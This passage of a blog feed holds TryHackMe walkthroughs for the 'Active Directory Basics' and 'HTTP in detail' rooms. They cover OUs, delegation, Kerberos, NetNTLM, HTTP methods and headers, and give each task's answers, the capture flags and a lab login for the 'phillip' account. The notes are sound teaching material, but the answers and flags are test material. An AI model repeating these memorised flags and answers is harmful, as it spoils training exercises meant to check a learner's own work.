log in to the </em><strong><em>Domain Controller and run “Active Directory Users and Computers” from the start menu</em></strong><em>:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/0*N5DzVIOn1xIKztgj.png" /></figure><p><em>This will open up a window where you can see the</em><strong><em> hierarchy of users, computers, and groups that exist in the domain</em></strong><em>. These objects are organized in </em><strong><em>Organizational Units (OUs)</em></strong><em> which are </em><strong><em>container objects that allow you to classify users and machines(OUs are a group where all different groups are kept separately inside which means all groups are the child of the OU group, but each group is also called OU separately)</em></strong><em>. OUs are mainly used to define </em><strong><em>sets of users with similar policing requirements</em></strong><em>. The people in the Sales department of your organization are likely to have a different set of policies applied than the people in IT, for example. Keep in mind that a user can only be a part of a single OU at a time.</em></p><p><em>Checking our machine, we can see that there is already an </em><strong><em>OU called </em></strong><strong><em>THM with four child OUs for the IT</em></strong><em>, </em><strong><em>Management, Marketing, and Sales departments</em></strong><em>. It is very typical to see the OUs mimic the business&#39; structure, as it allows for efficiently deploying baseline policies that apply to entire departments. Remember that while this would be the expected model most of the time, you can define OUs arbitrarily. Feel free to right-click the </em><em>THM OU and create a new OU under it called </em><em>Students just for the fun of it.</em></p><p><em>If you open any OUs, you can see the users they contain and perform simple tasks like creating, deleting, or modifying them as needed. You can also reset passwords if needed (pretty useful for the helpdesk):</em></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/0*_-1bs5RGUhgPW7H8.png" /></figure><p><em>You probably noticed already that there are other default containers apart from the THM OU. These containers are created by Windows automatically and contain the following:</em></p><ul><li><strong><em>Builtin:</em></strong><em> </em><strong><em>Contains default groups available to any Windows host</em></strong><em>.</em></li><li><strong><em>Computers:</em></strong><em> Any </em><strong><em>machine joining the network will be put here by default</em></strong><em>. You can move them if needed.</em></li><li><strong><em>Domain Controllers:</em></strong><em> </em><strong><em>Default OU that contains the DCs in your network</em></strong><em>.</em></li><li><strong><em>Users:</em></strong><em> Default users and groups that apply to a domain-wide context.</em></li><li><strong><em>Managed Service Accounts: Holds accounts used by services in your Windows domain.</em></strong></li></ul><p><strong><em>Security Groups vs OUs</em></strong></p><p><em>You are probably wondering why we have both groups and OUs. While both are used to classify users and computers, their purposes are entirely different:</em></p><ul><li><strong><em>OUs</em></strong><em> are handy for </em><strong><em>applying policies</em></strong><em> to </em><strong><em>users and computers</em></strong><em>, which include </em><strong><em>specific configurations</em></strong><em> that pertain to sets of users depending on their particular role in the enterprise. Remember, </em><strong><em>a user can only be a member of a single OU at a time</em></strong><em>, as it wouldn’t make sense to try to apply two different sets of policies to a single user.</em></li><li><strong><em>Security Groups</em></strong><em>, on the other hand, are used to </em><strong><em>grant permissions over resources</em></strong><em>. For example, you will use groups if you want to allow some users to access a shared folder or network printer. </em><strong><em>A user can be a part of many groups, which is needed to grant access to multiple resources.</em></strong></li></ul><h3>Task 4: Managing Users in AD:</h3><p><strong><em>What was the flag found on Sophie’s desktop?</em></strong></p><p><strong><em>Answer: </em></strong><em>THM{thanks_for_contacting_support}</em></p><h3>Note:</h3><p><em>After the </em><strong><em>delegation </em></strong><em>enter the </em><strong><em>Phillips </em></strong><em>account by using remmina using the RDP port. Username and password:</em><strong><em> phillip: Claire2008</em></strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*_y3xjNIZ2C9mOhbC.png" /></figure><p>The RDP screen</p><p><em>Inside the Phillip, account open the </em><strong><em>Command prompt</em></strong><em> and transfer it to PowerShell using </em><strong><em>Command: </em></strong><em>powershell in </em><strong><em>cmd</em></strong><em>.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/0*HhoIdwZ3JNMTHrl_.png" /></figure><p>The cmd to PowerShell</p><p><em>Now to set the password type this command: </em><strong><em>Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt ‘New Password’) -Verbose</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/0*JPl-Ba6-ycgHUu5F.png" /></figure><p>The password set</p><p><em>Here I have set the password:</em><strong><em> abcD12345*</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/0*y0H8QefRHZmuXGcz.png" /></figure><p>Entering the account</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*7cUBTd-EHAp8Ikw3.png" /></figure><p>The flag</p><p><em>Now we have taken the flag. So we do not want Sophie to use our given password. We will force Sophie’s account to </em><strong><em>show a reset option when Sophie will log into her account. The reset option showing process will be done from the Phillips account using this </em></strong><em>command</em><strong><em>: Set-ADUser -ChangePasswordAtLogon $true -Identity sophie -Verbose</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/0*eJ7qwA0A4qmkCvXo.png" /></figure><p>Reseting the password</p><p><em>Now see that you cannot enter Sophie’s account using the password you provided to get the flag. See that the password reset option has been shown.</em></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/0*Mua39lsHagj_fyhH.png" /></figure><p>Click ok</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*-V8R875n8Qny9m3r.png" /></figure><p>The new password option</p><p><strong><em>The process of granting privileges to a user over some OU or other AD Object is called…</em></strong></p><p><strong><em>Answer: </em></strong><em>delegation</em></p><h3>Note:</h3><p><em>Your first task as the new domain administrator is to check the existing AD OUs and users, as some recent changes have happened to the business. You have been given the following organizational chart and are expected to make changes to the AD to match it:</em></p><p><em>Deleting extra OUs and users</em></p><p><em>The first thing you should notice is that there is an additional department OU in your current AD configuration that doesn’t appear in the chart. We’ve been told it was closed due to budget cuts and should be removed from the domain. If you try to right-click and delete the OU, you will get the following error:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/0*3138GLleWm2adzh4.png" /></figure><p><em>By default, OUs are protected against accidental deletion. To delete the OU, we need to enable the </em><strong><em>Advanced Features</em></strong><em> in the View menu:</em></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/0*dHTEjrRlBRuihOMB.png" /></figure><p><em>This will show you some additional containers and enable you to disable the accidental deletion protection. To do so, right-click the OU and go to Properties. You will find a checkbox in the Object tab to disable the protection:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/0*apkVBlqB4B70NQQT.png" /></figure><p><em>Be sure to uncheck the box and try deleting the OU again. You will be prompted to confirm that you want to delete the OU, and as a result, any users, groups, or OUs under it will also be deleted.</em></p><p><strong><em>After deleting the extra OU, you should notice that for some of the departments, the users in the AD don’t match the ones in our organizational chart. Create and delete users as needed to match them.</em></strong></p><p><strong><em>Delegation (Example: A member of an IT support group can change the username and password of the other group’s low-privilege members from his account because this power is given to him by the organization using the delegate control option of the target OU in the Active directory)</em></strong></p><p><em>One of the nice things you can do in</em><strong><em> AD </em></strong><em>is to give</em><strong><em> specific users some control over some OUs</em></strong><em>. This process is known as </em><strong><em>delegation</em></strong><em> and allows you to grant users </em><strong><em>specific privileges</em></strong><em> to perform </em><strong><em>advanced </em></strong><em>tasks on OUs without needing a </em><strong><em>Domain Administrator</em></strong><em> to step in.</em></p><p><em>One of the most common use cases for this is granting </em><em>IT support the privilege to reset other low-privilege users&#39; passwords. According to our organizational chart, Phillip is in charge of IT support, so we&#39;d probably want to delegate the control of resetting passwords over the Sales, Marketing, and Management OUs to him.</em></p><h3>Task 5: Managing Computers in AD:</h3><p><strong><em>After organizing the available computers, how many ended up in the Workstations OU?</em></strong></p><p><strong><em>Answer:</em></strong><em> 7</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*kCozEr1XPOzy5Yu-.png" /></figure><p>The workstation</p><p><strong><em>Is it recommendable to create separate OUs for Servers and Workstations? (yay/nay)</em></strong></p><p><strong><em>Answer: yay</em></strong></p><h3>Task 6: Group Policies:</h3><p><strong><em>What is the name of the network share used to distribute GPOs to domain machines?</em></strong></p><p><strong><em>Answer: </em></strong><em>SYSVOL</em></p><p><strong><em>Can a GPO be used to apply settings to users and computers? (yay/nay)</em></strong></p><p><strong><em>Answer: </em></strong><em>Yay</em></p><h3>Task 7: Authentication Methods:</h3><p><strong><em>Will a current version of Windows use NetNTLM as the preferred authentication protocol by default? (yay/nay)</em></strong></p><p><strong><em>Answer: </em></strong><em>nay</em></p><p><strong><em>When referring to Kerberos, what type of ticket allows us to request further tickets known as TGS?</em></strong></p><p><strong><em>Answer: </em></strong><em>Ticket Granting Ticket</em></p><p><strong><em>When using NetNTLM, is a user’s password transmitted over the network at any point? (yay/nay)</em></strong></p><p><strong><em>Answer: </em></strong><em>nay</em></p><h3>Note:</h3><p><em>When using Windows domains, all credentials are stored in the Domain Controllers. Whenever a user tries to authenticate to a service using domain credentials, the service will need to ask the Domain Controller to verify if they are correct.</em><strong><em> Two protocols</em></strong><em> can be used for network authentication in Windows domains:</em></p><ul><li><strong><em>Kerberos:</em></strong><em> Used by any recent version of Windows. This is the default protocol in any recent domain.</em></li><li><strong><em>NetNTLM:</em></strong><em> Legacy authentication protocol kept for compatibility purposes.</em></li></ul><p><em>While NetNTLM should be considered obsolete, most networks will have both protocols enabled. Let’s take a deeper look at how each of these protocols works.</em></p><p><em>When Kerberos is used for authentication, the following process happens:</em></p><ol><li><em>The user sends their </em><strong><em>username and a timestamp </em></strong><em>encrypted using a key derived from their password to the </em><strong><em>Key Distribution Center (KDC)</em></strong><em>, a service usually installed on the</em><strong><em> Domain Controller in charge of creating Kerberos tickets on the network.</em></strong></li></ol><p><em>The KDC will</em><strong><em> create and send</em></strong><em> back a </em><strong><em>Ticket Granting Ticket (TGT)</em></strong><em>, which will allow the </em><strong><em>user to request additional tickets to access specific services</em></strong><em>. The need for a </em><strong><em>ticket</em></strong><em> to get more tickets may sound a bit weird, but it allows users to request service tickets without passing their credentials every time they want to connect to a service. Along with the TGT, a </em><strong><em>Session Key</em></strong><em> is given to the user, which they will need to generate the following requests.</em></p><p><em>Notice the TGT is encrypted using the </em><strong><em>krbtgt</em></strong><em> account’s password hash, and therefore the user can’t access its contents. It is essential to know that the encrypted TGT includes a copy of the Session Key as part of its contents, and the KDC has no need to store the Session Key as it can recover a copy by decrypting the TGT if needed.</em></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*6WDIpHWLJVS_wsS3.png" /></figure><p><em>2. When a user wants to connect to a service on the network like a share, website, or database, they will use their TGT to ask the KDC for a </em><strong><em>Ticket Granting Service (TGS)</em></strong><em>. TGS are tickets that allow connection only to the specific service they were created for. To request a TGS, the user will send their username and a timestamp encrypted using the Session Key, along with the TGT and a </em><strong><em>Service Principal Name (SPN),</em></strong><em> which indicates the service and server name we intend to access.</em></p><p><em>As a result, the KDC will send us a TGS along with a </em><strong><em>Service Session Key</em></strong><em>, which we will need to authenticate to the service we want to access. The TGS is encrypted using a key derived from the </em><strong><em>Service Owner Hash</em></strong><em>. The Service Owner is the user or machine account that the service runs under. The TGS contains a copy of the Service Session Key on its encrypted contents so that the Service Owner can access it by decrypting the TGS.</em></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*zXVMvJInGyVta6sX.png" /></figure><p><em>3. The TGS can then be sent to the desired service to authenticate and establish a connection. The service will use its configured account’s password hash to decrypt the TGS and validate the Service Session Key.</em></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*3Sb-8ko-8tdukM5B.png" /></figure><p><strong><em>NetNTLM(</em></strong><em>The NTLM hash is the cryptographic format in which user passwords are stored on Windows systems.)</em><strong><em> Authentication</em></strong></p><p><em>NetNTLM works using a challenge-response mechanism. The entire process is as follows:</em></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*Nbzz2ucKFcUWwutH.png" /></figure><ol><li><em>The client sends an </em><strong><em>authentication request</em></strong><em> (the </em><strong><em>domain name</em></strong><em> and the </em><strong><em>username )</em></strong><em>to the server they want to access.</em></li><li><em>The server generates a </em><strong><em>random number and sends it as a challenge to the client.</em></strong></li><li><em>The client combines their </em><strong><em>NTLM password hash with the challenge (and other known data) to generate a response to the challenge and sends it back to the server for verification.</em></strong></li><li><em>The </em><strong><em>server forwards the challenge and the response to the Domain Controller for verification.</em></strong></li><li><em>The domain controller uses the challenge to</em><strong><em> recalculate </em></strong><em>the response and </em><strong><em>compares it to the original response sent by the client</em></strong><em>. If they both match, the client is authenticated; otherwise, access is denied. The authentication result is sent back to the server.</em></li><li><strong><em>The server forwards the authentication result to the client.</em></strong></li></ol><p><strong><em>Note that the user’s password (or hash) is never transmitted through the network for security.</em></strong></p><p><strong><em>Note:</em></strong><em> The described process applies when</em><strong><em> using a domain account</em></strong><em>. If a local </em><strong><em>account is used, the server can verify the response to the challenge itself without requiring interaction with the domain controller</em></strong><em> since it has the </em><strong><em>password hash stored locally on its SAM(security account manager).</em></strong></p><h3>Task 8: Trees, Forests, and Trusts:</h3><p><strong><em>What is a group of Windows domains that share the same namespace called?</em></strong></p><p><strong><em>Answer: </em></strong><em>tree</em></p><p><strong><em>What should be configured between two domains for a user in Domain A to access a resource in Domain B?</em></strong></p><p><strong><em>Answer: </em></strong><em>2 trust relationship</em></p><h3>Note:</h3><p><strong><em>Trees</em></strong></p><p><em>Imagine, for example, that suddenly your company </em><strong><em>expands to a new country</em></strong><em>. The new country has different laws and regulations that require you to </em><strong><em>update your GPOs to comply</em></strong><em>. In addition, </em><strong><em>you now have IT people in both countries</em></strong><em>, and </em><strong><em>each IT team needs to manage the resources that correspond to each country without interfering with the other team</em></strong><em>. While you could create a </em><strong><em>complex OU structure and use delegations</em></strong><em> to achieve this, having a huge AD structure might be hard to manage and prone to human errors.</em></p><p><em>Luckily for us, Active Directory supports </em><strong><em>integrating multiple </em></strong><em>domains so that you can partition your network into units that can be managed independently. If you have</em><strong><em> two domains</em></strong><em> that share the same namespace (</em><em>thm.local in our example), those domains can be joined into a </em><strong><em>Tree</em></strong><em>.</em></p><p><em>If our </em><em>thm.local domain was split into</em><strong><em> two subdomains for UK and US</em></strong><em> branches, you could build a tree with </em><strong><em>a root domain </em></strong><em>of </em><em>thm.local and two subdomains called </em><em>uk.thm.local and </em><em>us.thm.local, each with its AD, computers, and users:</em></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*ecx5akQg5UyRJk7W.png" /></figure><p><em>This partitioned structure gives us better control over who can</em><strong><em> access what in the domain</em></strong><em>. The </em><strong><em>IT people from the UK will have their own DC that manages the UK resources only</em></strong><em>. For example, a UK user would not be able to manage US users. In that way,</em><strong><em> the Domain Administrators of each branch will have complete control over their respective DCs</em></strong><em>, but not other branches’ DCs. </em><strong><em>Policies can also be configured independently for each domain in the tree.</em></strong></p><p><em>A </em><strong><em>new security group</em></strong><em> needs to be introduced when talking about</em><strong><em> trees and forests</em></strong><em>. The </em><strong><em>Enterprise Admins</em></strong><em> group will</em><strong><em> grant a user administrative privileges over all of an enterprise’s domain</em></strong><em>s(These enterprise admins can control the both UK and US domain controller). Each domain would still have its </em><strong><em>Domain Admins with administrator privileges over their single domains </em></strong><em>and the Enterprise Admins who can control everything in the enterprise.</em></p><p><strong><em>Forests</em></strong></p><p><em>The</em><strong><em> domains you manage can also be configured in different namespaces</em></strong><em>. Suppose your company continues </em><strong><em>growing and eventually acquires another company called </em></strong><strong><em>MHT Inc.</em></strong><em> When </em><strong><em>both companies merge, you will probably have different domain trees for each company</em></strong><em>, </em><strong><em>each managed by its own IT department</em></strong><em>.</em><strong><em> The union of several trees with different namespaces into the same network is known as a forest.</em></strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*reRkfrBHrmlgpHZL.png" /></figure><p><strong><em>Trust Relationships</em></strong></p><p><em>Having multiple domains </em><strong><em>organized in trees and forest allows you to have a nice compartmentalized network in terms of management and resources</em></strong><em>. But </em><strong><em>at a certain point</em></strong><em>, </em><strong><em>a user at THM UK might need to access a shared file in one of MHT ASIA servers.</em></strong><em> For this to happen, domains arranged in trees and forests are joined together by </em><strong><em>trust relationships</em></strong><em>.</em></p><p><em>In simple terms, having a trust relationship between domains allows you to authorize a user from a domain </em><em>THM UK to access resources from the domain </em><em>MHT EU.</em></p><p><em>The simplest trust relationship that can be established is a </em><strong><em>one-way trust relationship</em></strong><em>. In a one-way trust, </em><strong><em>if </em></strong><strong><em>Domain AAA trusts </em></strong><strong><em>Domain BBB, this means that a user on BBB can be authorized to access resources on AAA:</em></strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*vkyIVcuKur3LesOE.png" /></figure><p><em>The direction of the one-way trust relationship is contrary to that of the access direction.</em></p><p><strong><em>Two-way trust relationships</em></strong><em> can also be made</em><strong><em> to allow both domains to mutually authorize users from the other</em></strong><em>. By default,</em><strong><em> joining several domains under a tree or a forest will form a two-way trust relationship.</em></strong></p><p><em>It is important to note that</em><strong><em> having a trust relationship between domains doesn’t automatically grant access to all resources on other domains</em></strong><em>. Once a trust relationship is established, you have the chance to authorised users across different domains, but it’s up to you what is actually authorised or not</em><strong><em>.(It means a trust relationship domains have minimum privileges which users can access/see on what kind of data/file.)</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fdafe5774eb8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTP in detail — TryHackMe]]></title>
            <link>https://medium.com/@vipingiribgb0/http-in-detail-tryhackme-4d9f02f8a257?source=rss-bb47aef22c03------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d9f02f8a257</guid>
            <category><![CDATA[tryhackme-http]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[vipin]]></dc:creator>
            <pubDate>Sun, 19 Oct 2025 07:16:01 GMT</pubDate>
            <atom:updated>2025-10-19T07:16:01.204Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTTP in detail — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/0*1bN6-1nrdVdLBIqv.png" /></figure><h3>Task 1 : What is HTTP(S)?:</h3><p><strong><em>What does HTTP stand for?</em></strong></p><p><strong><em>Answer: </em></strong><em>HyperText Transfer Protocol</em></p><p><strong><em>What does the S in HTTPS stand for?</em></strong></p><p><strong><em>Answer: </em></strong><em>Secure</em></p><p><strong><em>On the mock webpage on the right, there is an issue, once you’ve found it, click on it. What is the challenge flag?</em></strong></p><p><strong><em>Answer: </em></strong><em>THM{INVALID_HTTP_CERT}</em></p><h3>Note:</h3><p><em>click on the lock of the URL.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/0*C2aTSLsPdV_VDevp.png" /></figure><p>The URL lock</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*eSYz8b0sMinegvCU.png" /></figure><p>the flag</p><h3>Task 2: Requests And Responses:</h3><p><strong><em>What HTTP protocol is being used in the above example?</em></strong></p><p><strong><em>Answer: </em></strong><em>HTTP/1.1</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/0*Wt__N0eyad7wU0op.png" /></figure><p>The protocol</p><p><strong><em>What response header tells the browser how much data to expect?</em></strong></p><p><strong><em>Answer: </em></strong><em>Content-Length</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/0*FHOwWQXR7ck0KJud.png" /></figure><p>The content-length</p><h3>Note:</h3><p><strong><em>What is a URL? (Uniform Resource Locator)</em></strong></p><p><em>If you’ve used the internet, you’ve used a URL before. A URL is predominantly an instruction on how to access a resource on the internet. The below image shows what a URL looks like with all of its features (it does not use all features in every request).</em></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/0*RX1oRVT46Dio50Qv.png" /></figure><p><strong><em>Scheme:</em></strong><em> This instructs on what protocol to use for accessing the resource such as HTTP, HTTPS, or FTP (File Transfer Protocol).</em></p><p><strong><em>User:</em></strong><em> Some services require authentication to log in, you can put a username and password into the URL to log in.</em></p><p><strong><em>Host:</em></strong><em> The domain name or IP address of the server you wish to access.</em></p><p><strong><em>Port:</em></strong><em> The Port that you are going to connect to, is usually 80 for HTTP and 443 for HTTPS, but this can be hosted on any port between 1–65535.</em></p><p><strong><em>Path:</em></strong><em> The file name or location of the resource you are trying to access.</em></p><p><strong><em>Query String:</em></strong><em> Extra bits of information that can be sent to the requested path. For example, /blog?</em><strong><em>id=1 </em></strong><em>would tell the blog path that you wish to receive the blog article with the id of 1.</em></p><p><strong><em>Fragment: </em></strong><em>A fragment is an internal page reference, sometimes called a named anchor. It usually appears at the end of a URL and begins with a hash (#) character followed by an identifier. It refers to a section(any option)within a web page(the web page where the user is staying).</em></p><h3>Task 3: HTTP Methods:</h3><p><strong><em>What method would be used to create a new user account?</em></strong></p><p><strong><em>Answer: </em></strong><em>POST</em></p><p><strong><em>What method would be used to update your email address?</em></strong></p><p><strong><em>Answer: </em></strong><em>PUT</em></p><p><strong><em>What method would be used to remove a picture you’ve uploaded to your account?</em></strong></p><p><strong><em>Answer: </em></strong><em>DELETE</em></p><p><strong><em>What method would be used to view a news article?</em></strong></p><p><strong><em>Answer: </em></strong><em>GET</em></p><h3>Note:</h3><p><em>HTTP methods are a way for the client to show their intended action when making an HTTP request. There are a lot of HTTP methods but we’ll cover the most common ones, although mostly you’ll deal with the </em><strong><em>GET and POST methods</em></strong><em>.</em></p><p><strong><em>GET Request</em></strong></p><p><em>This is used for getting information from a web server.</em></p><p><strong><em>POST Request</em></strong></p><p><em>This is used for submitting data to the web server and potentially creating new records</em></p><p><strong><em>PUT Request</em></strong></p><p><em>This is used for submitting/uploading data/files to a web server from clients side to update information</em></p><p><strong><em>DELETE Request</em></strong></p><p><em>This is used for deleting information/records from a web server.</em></p><p><strong><em>TRACE Request</em></strong></p><p><em>The HTTP TRACE method </em><strong><em>performs a message loop-back test along the path to the target resource</em></strong><em>, providing a useful debugging mechanism</em></p><h3>Task 4: HTTP Status Codes:</h3><p><strong><em>What response code might you receive if you’ve created a new user or blog post article?</em></strong></p><p><strong><em>Answer: </em></strong><em>201</em></p><p><strong><em>What response code might you receive if you’ve tried to access a page that doesn’t exist?</em></strong></p><p><strong><em>Answer: </em></strong><em>404</em></p><p><strong><em>What response code might you receive if the web server cannot access its database and the application crashes?</em></strong></p><p><strong><em>Answer: </em></strong><em>503</em></p><p><strong><em>What response code might you receive if you try to edit your profile without logging in first?</em></strong></p><p><strong><em>Answer: </em></strong><em>401</em></p><h3>Note:</h3><p><strong><em>Different types of responses :</em></strong></p><p><strong><em>100–199 — Information Response: </em></strong><em>These are sent to tell the </em><strong><em>client </em></strong><em>the</em><strong><em> first part </em></strong><em>of their </em><strong><em>request has been accepted and they should continue sending the rest of their request</em></strong><em>. These codes are no longer very common.</em></p><p><strong><em>200–299 — Success: </em></strong><em>This range of status codes is used to tell the</em><strong><em> client their request was successful</em></strong><em>.</em></p><p><strong><em>300–399 — Redirection: </em></strong><em>These are used to</em><strong><em> redirect </em></strong><em>the </em><strong><em>client’s request </em></strong><em>to </em><strong><em>another resource</em></strong><em>. This can be either to a </em><strong><em>different webpage or a different website</em></strong><em> altogether.</em></p><p><strong><em>400–499 — Client Side Errors: </em></strong><em>U</em><strong><em>sed to inform the client</em></strong><em> that there was </em><strong><em>an error </em></strong><em>with </em><strong><em>their request</em></strong><em>.</em></p><p><strong><em>500–599 — Server Side Errors: </em></strong><em>This is </em><strong><em>reserved </em></strong><em>for </em><strong><em>errors happening on the server side and usually indicates quite a major problem with the server handling the request.</em></strong></p><p><strong><em>Common HTTP Status Codes:</em></strong></p><p><strong><em>200 — OK: </em></strong><em>The request was </em><strong><em>completed successfully.</em></strong></p><p><strong><em>201 — Created: </em></strong><em>A </em><strong><em>resource </em></strong><em>has been </em><strong><em>created </em></strong><em>(for example a </em><strong><em>new user or new blog post)</em></strong><em>.</em></p><p><strong><em>301 — Permanent Redirect: </em></strong><em>This redirects the </em><strong><em>client’s browser</em></strong><em> to a </em><strong><em>new webpage or tells search engines that the page has moved somewhere else and to look there instead.</em></strong></p><p><strong><em>302 — Temporary Redirect: </em></strong><em>Similar to the above permanent redirect, but as the name suggests, </em><strong><em>this is only a temporary change and it may change again in the near future.</em></strong></p><p><strong><em>400 — Bad Request: </em></strong><em>This tells the </em><strong><em>browser that something was either wrong or missing in their request</em></strong><em>. This could sometimes be used if the</em><strong><em> web server resource that is being requested expected a certain parameter that the client didn’t send.</em></strong></p><p><strong><em>401 — Not Authorised: </em></strong><em>You are </em><strong><em>not currently allowed to view</em></strong><em> this </em><strong><em>resource </em></strong><em>until </em><strong><em>you have authorized with the web application, most commonly with a username and password.</em></strong></p><p><strong><em>403 — Forbidden: </em></strong><em>You </em><strong><em>do not have permission</em></strong><em> to view this resource whether</em><strong><em> you are logged in or not.</em></strong></p><p><strong><em>405 — Method Not Allowed: </em></strong><em>The </em><strong><em>resource does not allow this method request</em></strong><em>, for example, </em><strong><em>you send a GET request to the resource /create-account when it was expecting a POST request instead.</em></strong></p><p><strong><em>404 — Page Not Found: </em></strong><em>The page/resource you requested does not exist.</em></p><p><strong><em>500 — Internal Service Error: </em></strong><em>The </em><strong><em>server has encountered some kind of error</em></strong><em> with </em><strong><em>your request that it doesn’t know how to handle properly.</em></strong></p><p><strong><em>503 — Service Unavailable: </em></strong><em>This</em><strong><em> server cannot handle your request as it’s either overloaded or down for maintenance.</em></strong></p><h3>Task 5 :Headers:</h3><p><strong><em>What header tells the web server what browser is being used?</em></strong></p><p><strong><em>Answer: </em></strong><em>User-Agent</em></p><p><strong><em>What header tells the browser what type of data is being returned?</em></strong></p><p><strong><em>Answer: </em></strong><em>Content-Type</em></p><p><strong><em>What header tells the web server which website is being requested?</em></strong></p><p><strong><em>Answer: </em></strong><em>Host</em></p><h3>Note:</h3><p><em>Headers are </em><strong><em>additional bits </em></strong><em>of data you can send to the </em><strong><em>web server when making requests.</em></strong></p><p><em>Although </em><strong><em>no headers are strictly</em></strong><em> required when making an HTTP request, you’ll find it difficult to view a website properly.</em></p><p><strong><em>Common Request Headers</em></strong></p><p><em>These are headers that are sent from the client (usually your browser) to the server.</em></p><p><strong><em>Host:</em></strong><em> Some</em><strong><em> web servers host multiple</em></strong><em> websites so by </em><strong><em>providing </em></strong><em>the</em><strong><em> host headers to the server </em></strong><em>you can tell it </em><strong><em>which one you require</em></strong><em>, otherwise you’ll just receive the default website for the server.</em></p><p><strong><em>User-Agent:</em></strong><em> This is</em><strong><em> your browser software and version number</em></strong><em>, Tell the web server your browser software helps it format the website properly for your browser and also some elements of</em><strong><em> HTML, JavaScript, and CSS </em></strong><em>are only available in certain browsers.</em></p><p><strong><em>Content-Length:</em></strong><em> When </em><strong><em>sending data to a web server such as in a form</em></strong><em>, the content length</em><strong><em> tells the web server how much data to expect in the web request</em></strong><em>. </em><strong><em>This way the server can ensure it isn’t missing any data.</em></strong></p><p><strong><em>Accept-Encoding:</em></strong><em> Tells the web server what types of </em><strong><em>compression methods the browser supports so the data can be made smaller for transmitting over the internet.</em></strong></p><p><strong><em>Cookie:</em></strong><em> </em><strong><em>Data sent to the server to help remember your information (see cookies task for more information).</em></strong></p><p><strong><em>Common Response Headers</em></strong></p><p><em>These are the headers that are returned to the client from the server after a request.</em></p><p><strong><em>Set-Cookie:</em></strong><em> </em><strong><em>Information to store which gets sent back to the web server on each request </em></strong><em>(see cookies task for more information).</em></p><p><strong><em>Cache-Control:</em></strong><em> How </em><strong><em>long to store the content of the response </em></strong><em>in the </em><strong><em>browser’s cache before it requests it again</em></strong></p><p><strong><em>Content-Type:</em></strong><em> This tells the </em><strong><em>client what type of data is being returned, i.e., HTML, CSS, JavaScript, Images, PDF, Video, etc. Using the content-type header the browser then knows how to process the data.</em></strong></p><p><strong><em>Content-Encoding: </em></strong><em>What method has been used to</em><strong><em> compress the data</em></strong><em> to make it </em><strong><em>smaller when sending it over the interne</em></strong><em>t.</em></p><h3>Task 6 : Cookies:</h3><p><strong><em>Which header is used to save cookies to your computer?</em></strong></p><p><strong><em>Answer: </em></strong><em>Set-Cookie</em></p><h3>Note:</h3><p><em>You’ve probably heard of cookies before, they’re just a </em><strong><em>small piece of data that is stored on your computer</em></strong><em>.</em><strong><em> Cookies are saved when you receive a “Set-Cookie” header from a web server.</em></strong><em> Then every further request you make, you’ll send the </em><strong><em>cookie data back to the web server</em></strong><em>. Because HTTP is</em><strong><em> stateless (doesn’t keep track of your previous requests)</em></strong><em>, cookies can be used to remind the web server who you are, </em><strong><em>some personal settings for the website</em></strong><em>, or whether you’ve been to the website before. Let’s take a look at this as an example HTTP request:</em></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/0*j5JIsR8oiVXZAl5U.png" /></figure><p><em>Cookies can be used for many </em><strong><em>purposes but are most commonly used for website authentication</em></strong><em>. The cookie value won’t usually be a</em><strong><em> clear-text s</em></strong><em>tring where you can see the password, but a token</em><strong><em> (unique secret code that isn’t easily humanly guessable).</em></strong></p><h3>Task 7: Making Requests:</h3><p><strong><em>Make a GET request to /room</em></strong></p><p><strong><em>Answer: </em></strong><em>THM{YOU’RE_IN_THE_ROOM}</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/0*SbXfXAuwO0EsWM_l.png" /></figure><p>The flag</p><p><strong><em>Make a GET request to /blog and using the gear icon set 